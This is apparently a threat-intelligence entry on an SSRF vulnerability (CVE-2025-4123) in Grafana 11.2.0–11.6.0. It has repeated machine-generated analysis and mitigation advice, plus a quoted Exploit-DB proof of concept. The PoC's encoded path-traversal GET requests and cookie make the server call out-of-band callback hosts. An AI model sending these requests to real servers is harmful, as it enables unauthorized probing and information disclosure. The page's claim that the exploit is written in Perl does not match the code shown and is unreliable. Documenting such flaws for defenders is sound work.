Grafana 11.6.0 - SSRF
Grafana 11.6.0 - SSRF
AI Analysis
Technical Summary
Grafana versions 11.2.0 to 11.6.0 contain an SSRF vulnerability in the render/public and related public rendering endpoints. This vulnerability is due to client-side path traversal encoding combined with an open redirect, which under certain configurations (notably with anonymous access or vulnerable plugins enabled) allows an attacker to induce the server to perform HTTP requests to arbitrary external hosts. This can result in information disclosure from the server environment. The exploit is publicly available and written in Perl, demonstrating the attack vectors using crafted HTTP GET requests with encoded path traversal sequences.
Potential Impact
Successful exploitation causes the Grafana server to make HTTP requests to attacker-controlled domains. This can lead to information disclosure by exposing internal network details or sensitive data accessible to the server. There is no explicit indication of remote code execution or system compromise in the provided data.
Mitigation Recommendations
Patch status is not yet confirmed—check the vendor advisory for current remediation guidance. Until an official fix is available, it is recommended to restrict or disable anonymous access and vulnerable plugins such as Image Renderer to reduce exposure. Monitor vendor communications for updates and apply official patches once released.
Indicators of Compromise
- exploit-code: # Exploit Title: Grafana 11.6.0 - SSRF # FOFA: app="Grafana" # Date: 2-11-2025 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://grafana.com/ # Software Link: https://grafana.com/grafana/download # Version: 11.2.0 - 11.6.0 # CVE: CVE-2025-4123 Description: An SSRF (Server-Side Request Forgery) vulnerability exists in Grafana's `render/public` (and related public rendering) endpoints owing to a combination of client-side path traversal encoding and an open redirect. Under certain configurations — especially when anonymous access or vulnerable plugins (e.g., Image Renderer) are enabled — an attacker can cause the server to perform requests to attacker-controlled hosts or induce redirections that lead to SSRF and subsequent information disclosure. POC: GET /render/public/..%252f%255Cczeqm5.dnslog.cn%252f%253F%252f..%252f.. HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Fedora; Linux i686; rv:128.0) Gecko/20100101 Firefox/128.0 Connection: close Accept-Encoding: gzip GET /public/..%2F%5c123.czeqm5.dnslog.cn%2F%3f%2F..%2F.. HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12) AppleWebKit/616.19 (KHTML, like Gecko) Version/17.7.17 Safari/616.19 Connection: close Cookie: redirect_to=%2Frender%2Fpublic%2F..%25252f%25255Cd0nt31pu8bl7cn5ncca08sg68smps8h39.oast.live%25252f%25253F%25252f..%25252f.. Accept-Encoding: gzip
Grafana 11.6.0 - SSRF
Description
Grafana 11.6.0 - SSRF
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
Grafana versions 11.2.0 to 11.6.0 contain an SSRF vulnerability in the render/public and related public rendering endpoints. This vulnerability is due to client-side path traversal encoding combined with an open redirect, which under certain configurations (notably with anonymous access or vulnerable plugins enabled) allows an attacker to induce the server to perform HTTP requests to arbitrary external hosts. This can result in information disclosure from the server environment. The exploit is publicly available and written in Perl, demonstrating the attack vectors using crafted HTTP GET requests with encoded path traversal sequences.
Potential Impact
Successful exploitation causes the Grafana server to make HTTP requests to attacker-controlled domains. This can lead to information disclosure by exposing internal network details or sensitive data accessible to the server. There is no explicit indication of remote code execution or system compromise in the provided data.
Mitigation Recommendations
Patch status is not yet confirmed—check the vendor advisory for current remediation guidance. Until an official fix is available, it is recommended to restrict or disable anonymous access and vulnerable plugins such as Image Renderer to reduce exposure. Monitor vendor communications for updates and apply official patches once released.
Technical Details
- Edb Id
- 52491
- Has Exploit Code
- true
- Code Language
- perl
Indicators of Compromise
Exploit Source Code
Exploit code for Grafana 11.6.0 - SSRF
# Exploit Title: Grafana 11.6.0 - SSRF # FOFA: app="Grafana" # Date: 2-11-2025 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://grafana.com/ # Software Link: https://grafana.com/grafana/download # Version: 11.2.0 - 11.6.0 # CVE: CVE-2025-4123 Description: An SSRF (Server-Side Request Forgery) vulnerability exists in Grafana's `render/public` (and related public rendering) endpoints owing to a combination of client-side path traversal encoding and an open redirect. Under cer... (864 more characters)
Threat ID: 69d4e432aaed68159a0d458f
Added to database: 4/7/2026, 11:02:10 AM
Last enriched: 4/17/2026, 2:44:33 PM
Last updated: 5/22/2026, 3:27:28 PM
Views: 105
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